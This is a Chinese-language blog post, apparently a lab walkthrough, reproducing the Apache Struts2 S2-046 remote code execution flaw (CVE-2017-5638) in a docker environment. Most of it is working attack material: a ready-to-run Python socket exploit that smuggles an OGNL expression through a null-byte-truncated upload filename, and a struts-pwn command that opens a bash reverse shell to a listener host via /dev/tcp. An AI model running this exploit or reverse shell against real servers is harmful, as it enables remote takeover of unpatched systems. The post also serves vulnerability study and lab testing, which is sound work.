S2-046 远程代码执行漏洞(CVE-2017-5638)
影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
漏洞详情:
漏洞环境
执行如下命令启动struts2 2.3.30:
docker-compose up -d
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220518083234034-789033745.png)
环境启动后,访问http://your-ip:8080
即可看到上传页面。
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220518083234114-1911203575.png)
漏洞复现
与s2-045类似,但是输入点在文件上传的filename值位置,并需要使用\x00
截断。
由于需要发送畸形数据包,我们简单使用原生socket编写payload:
import socket
q = b'''------WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',233*233)}\x00b"
Content-Type: text/plain
foo
------WebKitFormBoundaryXd004BVJN9pBYBL2--'''.replace(b'\n', b'\r\n')
p = b'''POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Length: %d
'''.replace(b'\n', b'\r\n') % (len(q), )
with socket.create_connection(('your-ip', '8080'), timeout=5) as conn:
conn.send(p + q)
print(conn.recv(10240).decode())
修改your-IP即可直接运行
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220518083234049-251345122.png)
233*233
已成功执行:
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220518083234055-378194511.png)
反弹Shell
参考:https://github.com/mazen160/struts-pwn
开启监听
nc -lvvp 9999
python3 struts-pwn.py --url 'http://192.168.10.128:8080' -c 'bash -i >& /dev/tcp/192.168.10.129/9999 0>&1'
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220518083234109-1780205711.png)
本文来自博客园,作者:NoCirc1e,转载请注明原文链接:https://www.cnblogs.com/NoCirc1e/p/16283237.html